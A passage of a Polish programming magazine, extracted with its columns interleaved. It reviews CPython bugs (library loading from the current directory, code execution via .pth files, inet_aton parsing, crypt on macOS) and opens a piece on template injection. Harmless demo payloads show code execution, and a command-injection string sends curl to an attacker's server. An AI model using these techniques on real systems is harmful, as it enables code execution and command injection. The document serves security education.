kiedyś ta sytuacja ulegnia zmianie? zadał tego pytania w trakcie dyskusji dotyczącej tego błędu, to można
tę kwestię przynajmniej częściowo6 sprawdzić, korzystając z narzę-
Kod importujący readline dzia strace7 na Linuxie – Listing 5.
Dla dociekliwych: problematyczny import biblioteki readline od- Jak możemy zauważyć, do pierwszego wyświetlenia znaku zachę-
bywa się w funkcji pymain_import_readline z pliku Modules/main.c, ty (ang. command prompt) konsoli Pythona, czyli >>>, ładowane jest
który możemy zobaczyć w Listingu 4 (zakreślony kolorem łososio- tylko kilka bibliotek. Spośród nich jedynie biblioteka readline może
wym). Podając flagę -I, ustawiana jest zmienna config->isolated, zostać załadowana z obecnego katalogu. Następnie, gdy wykonamy
przez co interpreter pomija import biblioteki readline (co zaznaczo- dowolne polecenie – tu: "asd" (zaznaczone w Listingu 5 kolorem
no kolorem zielonym). żółtym) – ładowane są kolejne biblioteki. Kolorem łososiowym za-
znaczono natomiast te pliki, które – gdy znajdują się w obecnym
Listing 4. Kod CPythona odpowiedzialny za ładowanie biblioteki readline
podczas uruchamiania konsoli Pythona [6] katalogu – zostaną załadowane po wykonaniu dowolnego polece-
nia, podobnie jak biblioteka readline. Przykładową symulację ataku
static void
pymain_import_readline(const PyConfig *config) { możemy zobaczyć w Listingu 6, gdzie zmieniliśmy nazwę złośliwej
if (config->isolated) { biblioteki readline.so na _json.so i ta została załadowana po próbie
return;
} wykonania nieprawidłowej linii kodu ("a").
if (!config->inspect && config_run_code(config)) {
return;
}
if (!isatty(fileno(stdin))) {
return;
6. Jedynie częściowo, gdyż możemy wyobrazić sobie sytuację, że dana biblioteka byłaby ładowana
} (a właściwie tutaj: otwierana) wtedy i tylko wtedy, gdy istnieje w obecnym katalogu.
PyObject *mod = PyImport_ImportModule("readline"); 7. Narzędzie strace umożliwia śledzenie wywołań systemowych, które wykonuje dany program.
W tym przypadku będziemy filtrować wyniki tak, aby wyświetlić jedynie wywołania openat, które
if (mod == NULL) { są wykorzystywane przez Pythona do otwierania plików bibliotek.

{ WWW.PROGRAMISTAMAG.PL } <43>
BEZPIECZEŃSTWO

Listing 5. Śledzenie wywołań systemowych openat wykonywanych przez interpreter Pythona

$ strace -e openat python3 2>&1 | egrep '\.so'


openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libutil.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libexpat.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libz.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/home/dc/libr/readline.so", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3/dist-packages/apt_pkg.cpython-36m-x86_64-linux-gnu.so", O_RDONLY|O_CLOEXEC) = 3
>>> asd # wpisanie tekstu i wciśnięcie enter
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libapt-pkg.so.5.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libstdc++.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgcc_s.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libbz2.so.1.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblzma.so.5", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/liblz4.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libzstd.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libudev.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libsystemd.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgcrypt.so.20", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgpg-error.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.6/lib-dynload/_bz2.cpython-36m-x86_64-linux-gnu.so", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.6/lib-dynload/_lzma.cpython-36m-x86_64-linux-gnu.so", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.6/lib-dynload/_hashlib.cpython-36m-x86_64-linux-gnu.so", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libcrypto.so.1.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.6/lib-dynload/_ssl.cpython-36m-x86_64-linux-gnu.so", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libssl.so.1.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.6/lib-dynload/_json.cpython-36m-x86_64-linux-gnu.so", O_RDONLY|O_CLOEXEC) = 3

Listing 6. Symulacja problemu z ładowaniem biblioteki. W tym przypadku


_json.so jest ładowana dopiero po wpisaniu polecenia w konsoli Pythona;
na czerwono zakreślono tekst wypisany przez kod biblioteki

$ mv readline.so _json.so
$ python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or
"license" for more information. Rysunek 4. Notka dotycząca plików .pth w dokumentacji Pythona [7]
>>> a
HACKED!
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
Procesowanie plików .pth
NameError: name 'a' is not defined CPython procesuje pliki .pth w dość specyficzny sposób: mianowicie
>>>+*/
przechodzi po każdej linii takiego pliku i gdy natrafi na słowo kluczo-
we import w danej linii, wykonuje ją przez funkcję exec, co możemy
Wykonanie kodu przy starcie interpretera przez
zobaczyć w Listingu 7.
pliki pth zainstalowane z zewnętrznego modułu
Listing 7. Kod CPythona, który skanuje kolejne linie pliku .pth i wykonuje
te zaczynające się od słowa import [8]
Oryginalny tytuł: Deprecate and remove code execution in pth files
for n, line in enumerate(f):
Link / w wersji: https://bugs.python.org/issue33944 / Python 3.x if line.startswith("#"):
continue
Zgłoszono: 2018-06-22 try:
if line.startswith(("import ", "import\t")):
exec(line)
continue
Drugi błąd, który omówimy, dotyczy plików .pth, czyli „plików kon-
figurujących ścieżki” (ang. path configuration file) [7], które mogą Przykładowy atak – złośliwy moduł
zostać zapisane podczas instalacji modułów Pythona. Umieszczając Aby zademonstrować atak, zainstalowałem na swoim systemie
taki plik w katalogu site-packages danej instalacji Pythona, zostanie paczkę deliverymethod, wykonując polecenie pip install delivery-
on przeprocesowany podczas każdego uruchomienia skryptu czy method. Uwaga: mimo że paczka ta jest (obecnie) niegroźna, zawsze
interpretera. Jak możemy zobaczyć na Rysunku 4, fakt ten opisano należy przestrzegać podstawowych zasad bezpieczeństwa. Dlatego prze-
również w dokumentacji Pythona. prowadzając ten eksperyment, zalecam wykorzystanie izolowanego śro-

<44> { 4 / 2021 < 98 > }


/ Przegląd błędów w CPythonie /

dowiska, takiego jak wirtualna maszyna czy kontener dockerowy8. Pacz- $ python hello.py
Payload delivered
ka ta została wydana przez mojego znajomego Artura Czepiela, któremu hello world
pragnę podziękować za konsultacje dotyczące tej części artykułu.
$ python3
Symulację ataku możemy zobaczyć w Listingu 8. Jak widać, po Payload delivered
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
instalacji deliverymethod każde uruchomienie Pythona – czy to ze [GCC 8.4.0] on linux
skryptem czy w trybie interaktywnym, czy podczas uruchamiania Type "help", "copyright", "credits" or
"license" for more information.
narzędzia pip – zawsze wypisuje ciąg "Payload delivered" (zakre- >>>
ślony kolorem czerwonym), który jest wypisywany przez „złośliwą”
$ python3 -I
paczkę deliverymethod. Payload delivered
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
Listing 8. Symulacja ataku z wykorzystaniem pliku .pth, który instalowany [GCC 8.4.0] on linux
jest wraz z paczką deliverymethod Type "help", "copyright", "credits" or
"license" for more information.
>>>
$ python3 -c 'print("wszystko ok?")'
wszystko ok?

$ pip install deliverymethod


Jak możemy zobaczyć w Listingu 9, paczka deliverymethod (zgodnie
Defaulting to user installation because normal z jej kodem [9]) zainstalowała plik aaaaaa_deliverymethod.pth w ka-
site-packages is not writeable
Collecting deliverymethod talogu site-packages, który będąc przetwarzany podczas każdego uru-
Using cached deliverymethod-0.1-py2.py3-none-any.whl chomienia Pythona, importuje moduł deliverymethod, wypisujący
Installing collected packages: deliverymethod
Successfully installed deliverymethod-0.1 zaobserwowany przez nas tekst.
$ pip freeze Listing 9. Analiza „złośliwej” paczki deliverymethod
Payload delivered
deliverymethod==0.1 $ ls -la $HOME/.local/lib/python3.6/site-packages/*.pth
$ python3 -c 'print("wszystko ok?")' -rw-rw-r-- 1 dc dc 35 Aug 29 22:30 .local/lib/python3.6/site-
Payload delivered packages/aaaaaa_deliverymethod.pth
wszystko ok? $ cat .local/lib/python3.6/site-packages/aaaaaa_deliverymethod.pth
import sys; import deliverymethod
8. Działając jako zwykły użytkownik (nie root), a sam kontener uruchamiając z flagami takimi jak $ cat .local/lib/python3.6/site-packages/deliverymethod.py
--cap-drop=ALL --security-opt=no-new-privileges:true dla zwiększenia naszego bez- print("Payload delivered")
pieczeństwa.

/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <45>
BEZPIECZEŃSTWO

Co dalej? Out[4]: b'\x08\x08\x08\x08'


Z toczącej się dyskusji można wywnioskować, że z funkcjonal- In [5]: socket.inet_aton('0x7f.1')
Out[5]: b'\x7f\x00\x00\x01'
ności plików .pth korzysta obecnie kilka modułów, np. pytest-cov,
manhole, hunter czy future_fstrings i… nie wiadomo, czy to za- In [6]: socket.inet_aton('010.0')
Out[6]: b'\x08\x00\x00\x00'
chowanie zostanie zmienione, a jeśli tak, to kiedy. Zaproponowano
In [7]: socket.inet_aton('abc')
jednak PEP-648, czyli postulat usprawnienia języka (ang. Python ----------------------------------------------------------------
Enhancement Proposal) [10], który sugeruje utworzenie innego roz- OSError Traceback (most recent call last)
<ipython-input-8-5e88c766a2d5> in <module>
wiązania, tak aby osiągnąć tę samą funkcjonalność, bardziej jednak ----> 1 socket.inet_aton('abc')
ustrukturyzowaną oraz przyjazną dla użytkowników. OSError: illegal IP address string passed to inet_aton

Diabeł tkwi w szczegółach


Parsowanie adresów IPv4 przez socket.inet_aton
Tak więc na czym właściwie polega błąd? Czytając dokumentację,
można by wyciągnąć wniosek, że funkcja rzuci wyjątek, gdy przeka-
socket.inet_aton parsing issue on some libc ver-
Oryginalny tytuł: żemy ciąg, który nie jest adresem IPv4 pasującym do wspieranych
sions
Link / od wersji: https://bugs.python.org/issue37495 / Python 2.x/3.x
formatów. Okazuje się jednak, że implementacja funkcji inet_aton
Zgłoszono: 2019-07-03
w bibliotece glibc, z której korzysta Pythonowe socket.inet_aton,
akceptuje ciągi, w których bezpośrednio po poprawnym adresie IPv4
znajduje się spacja, a za nią dowolne dane! Tę sytuację możemy zaob-
Kolejny mankament, który przeanalizujemy, zgłosiłem do PSRT wraz serwować w Listingu 11.
ze znajomym niedługo po tym, gdy na pewnej konferencji dowie-
Listing 11. Niepoprawne działanie funkcji socket.inet_aton zwracającej bajty
działem się o jego przyczynie (prezentacja @bl4sty [11]). Błąd ten dla ciągów, które w całości nie są prawidłowymi adresami IPv4
związany jest z dość nieoczekiwanym zachowaniem funkcji inet_
In [2]: socket.inet_aton('1.1.1.1 to dziala')
aton w bibliotece glibc, z której korzysta funkcja socket.inet_
Out[2]: b'\x01\x01\x01\x01'
aton(ip_string). Taka sytuacja zachodzi głównie w Linuxie, po-
In [3]: socket.inet_aton('1.1.1.1? A to juz nie)
nieważ to właśnie w tym systemie Python jest najczęściej zlinkowany
----------------------------------------------------------------
z biblioteką glibc9. Funkcja socket.inet_aton, której dokumentację OSError Traceback (most recent call last)
możemy zobaczyć na Rysunku 5, służy do konwersji adresów IPv4 <ipython-input-3-4d1b5f3d76cf> in <module>
(w różnym formacie) ze stringa do bajtów, a jeśli podany ciąg jest ----> 1 socket.inet_aton('1.1.1.1? A to juz nie')

niepoprawny, to rzuca wyjątkiem OSError. Przykładowe działanie tej OSError: illegal IP address string passed to inet_aton
funkcji zaprezentowano w Listingu 10, gdzie poza oczywistym for- In [4]: socket.inet_aton('0x7f.1 ; oh nie!')
matem adresów IPv4, w którym cztery liczby są oddzielone kropką, Out[4]: b'\x7f\x00\x00\x01'
możemy zobaczyć, że funkcja ta akceptuje również adresy podane
jako jedna liczba, jako dwie liczby lub jako trzy liczby oddzielone Błąd ten mógłby zostać wykorzystany, gdyby ktoś implementując
kropką. Ponadto podane liczby mogą być zapisane heksadecymalnie stronę serwerową panelu routera w języku Python, przyjmował adres
(jak 0x7f) lub ósemkowo (jak 010). IPv4 od użytkownika, następnie walidował, czy adres jest poprawny,
poprzez funkcję socket.inet_aton i przekazywał ten adres wprost
do funkcji os.system('ping ' + ip_string). W takiej sytuacji,
wysyłając ciąg 1.1.1.1 ; curl adres_serwera_atakujacego,
atakujący wykonałby na routerze program curl, wysyłając żądanie
na swój serwer, w efekcie potwierdzając istnienie błędu. Oczywiście
atakujący mógłby użyć w takiej sytuacji innych programów, tak aby
przejąć pełną kontrolę nad routerem.

Czy coś z tego korzysta?


Przy okazji zgłoszenia tego błędu przeszukałem Internet10 i znala-
złem informację, że funkcja socket.inet_aton jest wykorzystywana
Rysunek 5. Oficjalna dokumentacja funkcji socket.inet_aton [12] w dwóch miejscach:
1. Przez funkcję ssl.match_hostname do weryfikacji hostów w cer-
Listing 10. Demonstracja funkcji socket.inet_aton
tyfikatach SSL.
In [2]: socket.inet_aton('127.0.0.1') 2. Przez funkcje pomocnicze w bibliotece requests, a mianowicie
Out[2]: b'\x7f\x00\x00\x01'
requests.utils.address_in_network, requests.utils.is_
In [3]: socket.inet_aton('8.8.8.8') ipv4_address oraz requests.utils.is_valid_cidr.
Out[3]: b'\x08\x08\x08\x08'

In [4]: socket.inet_aton('134744072')
10. Wyszukując wystąpień socket.inet_aton w repozytorium CPythona, ale również w innych
projektach open source z wykorzystaniem publicznych wyszukiwarek kodu: https://grep.app/,
9. Glibc, inaczej GNU C Library, jest implementacją biblioteki standardowej języka C od GNU. https://sourcegraph.com/search czy https://searchfox.org/.

<46> { 4 / 2021 < 98 > }


/ Przegląd błędów w CPythonie /

Rysunek 6. Fragment dyskusji dotyczącej zgłoszenia błędnego działania funkcji socket.inet_aton

Pierwszy przypadek został opisany na bugs.python.org w osob- jąc do funkcji crypt.crypt metodę, która akurat nie jest wspierana,
nym zgłoszeniu o numerze 37463 [13]. Choć trudno powiedzieć, czy zamiast błędu otrzymujemy tak naprawdę wynik haszowania, z in-
błąd ten mógł posłużyć do złośliwego ataku11, wykorzystanie inet_ nym algorytmem haszującym (takim, który jest wspierany). Sytuację
aton w funkcji ssl.match_hostname zostało już poprawione. Drugi tę możemy zobaczyć w Listingach 12 oraz 13, gdzie najpierw listu-
przypadek zgłosiłem do twórców biblioteki w lipcu 2019 r. i do dziś jemy wspierane metody haszowania (wypisując crypt.methods),
nie został on naprawiony [14]. a następnie haszujemy dane hasło metodą crypt.METHOD_SHA512.
Jak widać, w przypadku Linuxa funkcja zwraca skrót w poprawnym
Obecny stan zgłoszenia formacie, zawierającym prefiks algorytmu haszującego (tu: $6$, czyli
Niestety, jak możemy przeczytać w ostatniej dyskusji pod zgło- sha512crypt [15]), a na macOS zwracany jest nieco inny wynik.
szeniem (Rysunek 6), mimo propozycji alternatywnej implementa-
Listing 12. Wykonanie funkcji crypt.crypt na Linuxie zwraca hasz w popraw-
cji funkcji socket.inet_aton nie została ona jeszcze wdrożona do nym formacie
CPythona.
$ python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
[GCC 8.4.0] on linux
crypt.crypt czasami nie działa na macOS Type "help", "copyright", "credits" or "license" for more
information.
crypt function not hashing properly on Mac >>> import crypt
Oryginalny tytuł:
(uses a specific salt) >>> print(crypt.methods)
[<crypt.METHOD_SHA512>, <crypt.METHOD_SHA256>,
Link / od wersji: https://bugs.python.org/issue33213 / Python 2.x/3.x <crypt.METHOD_MD5>, <crypt.METHOD_CRYPT>]
Zgłoszono: 2018-04-03 >>> crypt.crypt('haslo', salt=crypt.METHOD_SHA512)
'$6$w/mLfgTIsUbbMoMW$dej1.ofn7shbh61JP9DyIVjubthPuLNh0.
PJKkMgvDY5qORgN98CYDWQz/JgR3.Arq5U9/N7eYJ2iogCAgJFb.'
>>> crypt.crypt('haslo', salt=crypt.METHOD_SHA512)
Ostatni błąd, któremu się przyjrzymy, dotyczy funkcji crypt. '$6$3WruajcfAJr7sTV0$MF5.tDs99PnY3lS32sSGi6.unrcvEx5bY
CpQqdkOZ/Iv16C0H6xXZ681Aj/.DGOSY0B9yEuOkUbm/tWWwx/By1'
crypt(word, salt=None), która służy do „zahaszowania” (obliczenia
funkcji skrótu) podanego hasła. Funkcja ta przyjmuje również argu- Listing 13. Wykonanie funkcji crypt.crypt na macOS zwraca niepoprawny wynik
ment salt, w którym możemy podać sól, która zostanie wykorzystana
$ python3
do haszowania hasła. W przypadku domyślnej wartości (None) funkcja Python 3.8.2 (default, Apr 8 2021, 23:19:18)
[Clang 12.0.5 (clang-1205.0.22.9)] on darwin
sama wygeneruje wartość soli. Dodatkowo, zamiast soli, można w tym Type "help", "copyright", "credits" or "license" for more
argumencie podać obiekt, który wskazuje daną funkcję skrótu. information.
>>> import crypt
Problem polega na tym, że na różnych systemach wspierane są >>> print(crypt.methods)
różne metody haszowania (czy też algorytmy funkcji skrótu), a poda- [<crypt.METHOD_CRYPT>]
>>> crypt.crypt('haslo', salt=crypt.METHOD_SHA512)
'$66Q1CRolDxB6'
11. Prawdopodobnie jedynie w sytuacji, gdy podany adres IP po weryfikacji z hostem w certyfikacie >>> crypt.crypt('haslo', salt=crypt.METHOD_SHA512)
SSL byłby później wykorzystywany w nieodpowiedni sposób, na przykład podczas uruchamiania '$66Q1CRolDxB6'
komend lub w zapytaniach SQL.

{ WWW.PROGRAMISTAMAG.PL } <47>
BEZPIECZEŃSTWO

Gdyby drążyć dalej, okazuje się, że na macOS dla metody crypt. jest dostępna. Jednak w chwili pisania tego artykułu nikt jeszcze nie
METHOD_SHA512 funkcja ta zwraca skrót hasła tak, jakbyśmy poda- otworzył oficjalnie pull requesta w repozytorium CPythona, propo-
li sól "$6". Ponadto wydaje się, że wartość ta nie jest przypadkowa nując taką zmianę. Jako ciekawostkę dodam również, że możliwe,
i jest najprawdopodobniej pobierana z identyfikatora/prefiksu danej iż moduł crypt zostanie kiedyś usunięty ze standardowych bibliotek
metody, czyli pola ident obiektu tej funkcji haszującej, co możemy Pythona za sprawą PEP-594: Removing dead batteries from the stan-
zaobserwować w Listingu 14 (kolorem żółtym oznaczono komenta- dard library [16]. PEP proponuje również, by usunąć ze standardu
rze informujące o kolejnej linii). moduły związane z historycznymi formatami danych, czy też takie,
które mają implikacje związane z bezpieczeństwem, lub gdy istnieją
Listing 14. Dalsze testy funkcji crypt.crypt na macOS
lepsze alternatywy dla tych modułów.
>>> crypt.crypt('haslo', salt='$6')
'$66Q1CRolDxB6'
>>> crypt.crypt('haslo2"', salt='$6') SŁOWO NA KONIEC
'$6cjqhqFFP7qY'
# eksplorujemy obiekt metody haszującej, aby znaleźć pola,
# które mogą dać nam wskazówkę, czemu zahaszowane ciągi
Jak mogliśmy zobaczyć na wybranych przykładach, niektóre man-
# zaczynają się od '$6' kamenty nie są naprawiane od lat. Z kolei inne błędy od momentu
>>> crypt.METHOD_SHA512.__dict__
zgłoszenia potrafią być rozwiązane bardzo szybko (jak wspomniany
{}
# obiekt nie miał pola __dict__, ale ma _fields, przeze mnie błąd z ssl.match_hostname, do którego poprawka zo-
# który wskazuje nam na pola, które możemy podejrzeć stała wdrożona w ciągu jednego dnia). Oczywiście można też pole-
>>> crypt.METHOD_SHA512._fields
('name', 'ident', 'salt_chars', 'total_size') mizować, czy mankamenty, które nie są naprawiane przez dłuższy
>>> crypt.METHOD_SHA512.name, crypt.METHOD_SHA512.ident, crypt. czas, są w ogóle istotne i czy warto się nimi zajmować, bowiem nie-
METHOD_SHA512.salt_chars, crypt.METHOD_SHA512.total_size
('SHA512', '6', 16, 106) które z nich mogą być traktowane jako przydatne funkcjonalności
>>> crypt.crypt('haslo', salt=crypt.METHOD_MD5) (jak pliki .pth), a do innych wdrożono jakąś poprawkę, jak na przy-
'$1hjHFwaWdCig'
>>> crypt.METHOD_MD5.ident
kład tryb izolacji, która zapobiega problemom wykonania kodu bi-
'1' bliotek z obecnego katalogu. Gdyby jednak stwierdzono jednoznacz-
nie, że błędy te nie są istotne i nie będą naprawione, to zamkniętoby
Podsumowując, błąd ten może spowodować, że funkcja crypt. dotyczące ich zgłoszenia, nadając im status „wont fix” [17]. Być może
crypt używana z konkretnym algorytmem haszującym zwróci nie- jest to kwestia braku rąk do pracy? A może też niektóre z dyskuto-
właściwy wynik na systemie macOS. To zaś, w zależności od tego, co wanych zgłoszeń, które mogą wpłynąć na obecnie istniejący kod,
robi dany program, może generować kolejne problemy. zostaną uwzględnione w Pythonie 4? Tak czy inaczej, zachęcam do
Jeśli chodzi o naprawę tego błędu, to w dyskusji pod zgłoszeniem przeglądania bugtrackera Pythona oraz, jeśli czujemy się na siłach,
zasugerowano dodanie sprawdzenia, czy dana metoda haszująca rozwijania CPythona.

Źródła
[1] https://bugs.python.org/issue?@template=stats
[2] https://tiswww.case.edu/php/chet/readline/rltop.html
[3] https://www.python.org/dev/peps/pep-3149/
[4] https://gcc.gnu.org/onlinedocs/gcc/Common-Function-Attributes.html
[5] https://docs.python.org/3/using/cmdline.html#environment-variables
[6] https://github.com/python/cpython/blob/v3.9.6/Modules/main.c#L202-L222
[7] https://docs.python.org/3/library/site.html
[8] https://github.com/python/cpython/blob/v3.9.6/Lib/site.py#L164-L170
[9] https://tinyurl.com/yhxmuyya
[10] https://www.python.org/dev/peps/pep-0648/
[11] https://twitter.com/bl4sty
[12] https://docs.python.org/3/library/socket.html#socket.inet_aton
[13] https://bugs.python.org/issue37463
[14] https://github.com/psf/requests/issues/5131
[15] https://manpages.debian.org/bullseye/libcrypt-dev/crypt.5.en.html#sha512crypt
[16] https://www.python.org/dev/peps/pep-0594/
[17] https://devguide.python.org/triaging/#resolution

D OMINIK 'DISCONNECT3D' CZARNOTA


dominik.b.czarnota+pmag@gmail.com
Rozłączony zawodowo zajmuje się audytami bezpieczeństwa różnego rodzaju softu wraz z firmą Trail of Bits, analizując kod
oraz wykorzystując takie narzędzia jak fuzzing czy własne regułki statycznej analizy. Poza pracą grywa CTFy z justCatTheFish,
gra w DoTA2 i nie może doczekać się powrotu do rzeczywistości, w której konferencje czy meetupy onsite/offline mają jednak
miejsce.

<48> { 4 / 2021 < 98 > }


BEZPIECZEŃSTWO

Wstrzykiwanie szablonów jako nieoczywista pułapka


na programistę
Główne przesłanie idei KISS przyświeca większości bibliotek i frameworków programistycz-
nych. Zakłada ono bowiem, że należy z barków programisty zdjąć ciężar komplikacji i do mak-
simum uprościć pisany kod. Nadmierna zawiłość nigdy nie była sprzymierzeńcem łatwości
utrzymania, dalszego rozwoju, a przede wszystkim bezpieczeństwa projektów. Z tego względu
powtarzalne czynności związane z łączeniem danych pochodzących od użytkownika (czyli z za-
łożenia niebezpiecznych), takie jak budowanie zapytań do baz danych, zyskały wsparcie funkcji
bibliotecznych (tu: „prepared statements”). Dzięki temu o pomyłkę dużo trudniej, a i podatności
polegające na wstrzykiwaniu kodu (np. do zapytań SQL) zostały znacząco ograniczone.

O kazuje się jednak, że nie zawsze rozwiązania, które mają na celu


uproszczenie kodu rozwijanej aplikacji, wpływają pozytywnie
na bezpieczeństwo całego systemu. To taki obosieczny miecz, który
Dzięki zastosowaniu szablonów możliwe jest osadzanie danych
w specjalnie przygotowanych wzorach, zawierających na przykład
kod w języku znaczników takim jak HTML. Specjalnie przygotowane
może wprowadzić nową klasę podatności, jeśli programista nie jest „placeholdery” obejmujące wyrażenia języka programowania wska-
świadomy, w jaki sposób należy z dostępnych narzędzi skorzystać, zują, które dane i w jaki sposób powinny zostać podmienione pod-
aby nie tylko ułatwić i przyspieszyć swoją pracę, ale także zrobić to czas procesu renderowania szablonu. Wprowadza to separację części
poprawnie. Jednym z mechanizmów wymagających szczególnej uwa- prezentacyjnej i logiki aplikacji (wymagane między innymi przez
gi developerów, jak i osób testujących bezpieczeństwo produktów są wzorzec MVC).
szablony. Niektóre języki programowania, takie jak np. PHP, natywnie
Jest taka stosunkowo (w odniesieniu do klasycznych podatno- wspierają szablony. Jednak nawet dla nich powstały dedykowane bi-
ści takich jak XSS1) nowa klasa podatności, jak Template Injection, blioteki, jak chociażby Twig [3] dla PHP. Zdarza się, że tego rodzaju
która może występować w dwóch odmianach. Rozgraniczenie tych biblioteki opisywane są jako „bezpieczne”, ponieważ wykorzystują
odmian będzie oparte na zależności, po której stronie ta podatność piaskownice do izolowanego wykonania kodu w taki sposób, aby nie
się ujawni i zezwoli na wrogie działania. Jeżeli atak dotknie stronę naruszyć bezpieczeństwa aplikacji webowej korzystającej z takich
serwerową, będziemy mówili o SSTI, czyli Server-Side Template In- rozwiązań. Praktyka pokazuje jednak, że często badacze bezpieczeń-
jection. To właśnie o tym przypadku będzie traktował niniejszy ar- stwa znajdują bardzo ciekawe metody „wyskoczenia” z sandboxa
tykuł. Jeśli natomiast błąd jest możliwy do wykorzystania po stronie i wykonania kodu.
klientów, będziemy mówić o podatności CSTI – Client Side Template Przykładowy szablon Twiga został zaprezentowany w Listingu 1.1.
Injection, która została dogłębnie zbadana przez Mario Heidericha Jak łatwo się domyślić, w sekcji <body> budowane jest menu nawi-
z firmy Cure53 [1]. Oryginalne badanie, w ktrórym poddano anali- gacyjne z wykorzystaniem unordered list (znacznik <ul> w HTML).
zie problem wstrzykiwania szablonów po stronie serwerowej, zostało W tagach {% … %} oraz {{ … }} umieszczone są kolejno wyrażenia
przedstawione w artykule [2] Jamesa Kettle'a, twórcy popularnego pozwalające na skorzystanie z mechanizmów takich jak pętle czy wy-
narzędzia wspomagającego testy aplikacji webowych – Burp Suite. rażenia warunkowe oraz zmienne, których wartość wstawiana jest do
W przytoczonym artykule zobrazowana została geneza odkrycia szablonu podczas jego renderowania.
podatności SSTI oraz jej podobieństwo do podatności XSS. Wystą-
Listing 1.1. Przykładowy szablon pochodzący z dokumentacji Twiga [3]
pienie XSS-a, będącego groźnym błędem wykonywanym po stronie
klienta, może również wskazywać na głębszy problem, mogący do- <!DOCTYPE html>
<html>
prowadzić do wykonania dowolnego kodu po stronie serwera – jest <head>
to moim zdaniem jeden z dwóch Świętych Graali atakujących (zaraz <title>My Webpage</title>
</head>
obok sandbox escape), jeśli chodzi o możliwe skutki ataku. <body>
<ul id="navigation">
{% for item in navigation %}
SZABLONY I SILNIKI SZABLONÓW <li><a href="{{ item.href }}">{{ item.caption }}</a></li>
{% endfor %}
</ul>
Zanim przedstawimy metodykę poszukiwania i wykorzystywania po-
<h1>My Webpage</h1>
datności, przyjrzyjmy się silnikom szablonów i możliwościom, które {{ a_variable }}
</body>
oferują. </html>

1. XSS (ang. Cross-Site Scripting) – atak polegający na umieszczeniu złośliwego kodu (najczęściej
JavaScript) w atakowanej aplikacji, który zostanie wykonany w przeglądarce użytkownika.

<50> { 4 / 2021 < 98 > }


/ Wstrzykiwanie szablonów jako nieoczywista pułapka na programistę /

W niniejszym artykule przedstawiona zostanie (niezgodna z żad- W Listingu 1.3 została przedstawiona struktura katalogów projektu.
nymi dobrymi praktykami programistycznymi) aplikacja webowa
Listing 1.3 Struktura katalogów projektu
zbudowana na bazie biblioteki Flask w języku Python. Flask korzy-
sta z silnika szablonów Jinja2 i to ten silnik posłuży nam jako przy- ├── app.py
├── myvenv
kład do prezentacji podatności. Należy jednak pamiętać, że sposoby │ ├── bin
użycia podatności SSTI różnią się w zależności od wykorzystywanej │ │ ├── activate
│ │ ├── activate.csh
technologii, ponieważ są bardzo silnie związane z konkretną imple- │ │ ├── activate.fish
│ │ ├── Activate.ps1
mentacją silnika. [...] (automatycznie wygenerowane przez venv)
W dalszej części artykułu przedstawiony zostanie proces wygene-
rowania we Flasku projektu korzystającego z szablonów. Teraz pozostał kluczowy element, tj. utworzenie aplikacji, która wy-
